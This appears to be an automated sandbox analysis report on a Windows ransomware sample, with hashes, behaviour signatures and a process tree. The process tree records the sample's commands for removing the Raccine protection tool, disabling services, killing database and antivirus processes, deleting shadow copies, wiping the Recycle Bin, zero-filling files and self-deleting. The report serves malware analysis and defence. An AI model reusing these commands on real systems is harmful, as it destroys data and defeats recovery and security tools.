Resubmissions

13-07-2024 09:54

240713-lxbx6swdmm 10

13-07-2024 09:50

240713-lvbvdsyapd 10

13-07-2024 09:46

240713-lr1dksyajd 10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-07-2024 09:46

General

  • Target

    8dd283ca012e7a70a2673d2cc211c6a616ff23bc5bd3599a1da077ba946a044c.exe

  • Size

    131KB

  • MD5

    807b3c16e4b836511f326750bd175189

  • SHA1

    b24792703c3f05e07a668b4c1b701799b7e6fb6b

  • SHA256

    8dd283ca012e7a70a2673d2cc211c6a616ff23bc5bd3599a1da077ba946a044c

  • SHA512

    844c26ecc56929ca444344d22265e6e02debe1713c99a732c80cbee3474852b48aa359567a1e3e78cc165441177dd9f8880b8213806d69aac0e8df4352cf969b

  • SSDEEP

    3072:KFk4WBCsljJ8lSATxHt2bFZQhdFC7UtrK:KFkNCstGwATxN2bkFC

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Renames multiple (51) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Modifies WinLogon 2 TTPs 2 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 48 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8dd283ca012e7a70a2673d2cc211c6a616ff23bc5bd3599a1da077ba946a044c.exe
    "C:\Users\Admin\AppData\Local\Temp\8dd283ca012e7a70a2673d2cc211c6a616ff23bc5bd3599a1da077ba946a044c.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1580
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2696
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:3572
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:5116
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:1072
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
          • Launches sc.exe
          PID:1192
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config FDResPub start= auto
          2⤵
          • Launches sc.exe
          PID:4212
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SSDPSRV start= auto
          2⤵
          • Launches sc.exe
          PID:1244
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config upnphost start= auto
          2⤵
          • Launches sc.exe
          PID:4376
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SQLTELEMETRY start= disabled
          2⤵
          • Launches sc.exe
          PID:3028
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
          2⤵
          • Launches sc.exe
          PID:860
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
          2⤵
            PID:4924
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLWriter start= disabled
            2⤵
            • Launches sc.exe
            PID:4340
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SstpSvc start= disabled
            2⤵
            • Launches sc.exe
            PID:472
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:984
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM excel.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1336
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM firefoxconfig.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2304
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM agntsvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2072
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM CNTAoSMgr.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4904
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2028
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlwriter.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4396
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM thebat.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3416
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2716
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM tbirdconfig.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:440
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:116
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM steam.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:944
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM thebat64.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1188
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqbcoreservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4372
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM dbeng50.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4320
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM encsvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1712
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocomm.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:444
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" IM thunderbird.exe /F
            2⤵
            • Kills process with taskkill
            PID:2944
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM xfssvccon.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3780
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM isqlplussvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1276
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM dbsnmp.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2008
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM infopath.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:224
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM onenote.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1664
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2880
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM tmlisten.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1440
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mbamtray.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4620
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM PccNTMon.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2788
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM Ntrtscan.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3408
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM zoolz.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3640
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM msftesql.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2420
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM msaccess.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3016
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM visio.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4876
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM powerpnt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4600
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2604
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM outlook.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3288
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocautoupds.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3144
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3304
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM winword.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4424
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlservr.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4496
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocssd.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4768
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld-nt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3648
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM synctime.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4092
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM wordpad.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2260
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM oracle.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2240
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlagent.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4204
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld-opt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4804
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlbrowser.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1192
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:860
          • C:\Windows\SysWOW64\notepad.exe
            "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
            2⤵
            • Opens file in notepad (likely ransom note)
            PID:4376
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
            2⤵
              PID:4364
              • C:\Windows\SysWOW64\PING.EXE
                ping 127.0.0.7 -n 3
                3⤵
                • Runs ping.exe
                PID:4064
              • C:\Windows\SysWOW64\fsutil.exe
                fsutil file setZeroData offset=0 length=524288 “%s”
                3⤵
                  PID:472
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8dd283ca012e7a70a2673d2cc211c6a616ff23bc5bd3599a1da077ba946a044c.exe
                2⤵
                  PID:2420
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 3
                    3⤵
                      PID:4468

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ssvwt1t0.fil.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt

                  Filesize

                  31B

                  MD5

                  cf3290884ddc5d4c139e6c432cb76ab5

                  SHA1

                  e83ca94ba82dcf55dedb159b2373518531e1e342

                  SHA256

                  007c1d9f31f111fb85059e3ce2719a6b98e326e6657c2a3e12a75cf735dd8c07

                  SHA512

                  c79c2c671ac117f9a130fb7e6107f48c1a51cfd633583c2b64dc3c1b22bf386364fe44cda6264251cd307265afe624f505a130fc8510a9c1b121670e28293fb7

                • memory/860-17-0x00000000054D0000-0x00000000054F2000-memory.dmp

                  Filesize

                  136KB

                • memory/860-28-0x0000000005E90000-0x00000000061E4000-memory.dmp

                  Filesize

                  3.3MB

                • memory/860-7-0x0000000004F20000-0x0000000004F56000-memory.dmp

                  Filesize

                  216KB

                • memory/860-16-0x0000000005590000-0x0000000005BB8000-memory.dmp

                  Filesize

                  6.2MB

                • memory/860-18-0x0000000005DB0000-0x0000000005E16000-memory.dmp

                  Filesize

                  408KB

                • memory/860-30-0x00000000064D0000-0x000000000651C000-memory.dmp

                  Filesize

                  304KB

                • memory/860-29-0x0000000006490000-0x00000000064AE000-memory.dmp

                  Filesize

                  120KB

                • memory/1580-3-0x0000000074450000-0x0000000074C00000-memory.dmp

                  Filesize

                  7.7MB

                • memory/1580-0-0x000000007445E000-0x000000007445F000-memory.dmp

                  Filesize

                  4KB

                • memory/1580-2-0x0000000005270000-0x0000000005814000-memory.dmp

                  Filesize

                  5.6MB

                • memory/1580-4-0x00000000050D0000-0x0000000005136000-memory.dmp

                  Filesize

                  408KB

                • memory/1580-1-0x0000000000320000-0x0000000000346000-memory.dmp

                  Filesize

                  152KB

                • memory/1580-176-0x0000000006550000-0x00000000065E2000-memory.dmp

                  Filesize

                  584KB

                • memory/1580-179-0x0000000074450000-0x0000000074C00000-memory.dmp

                  Filesize

                  7.7MB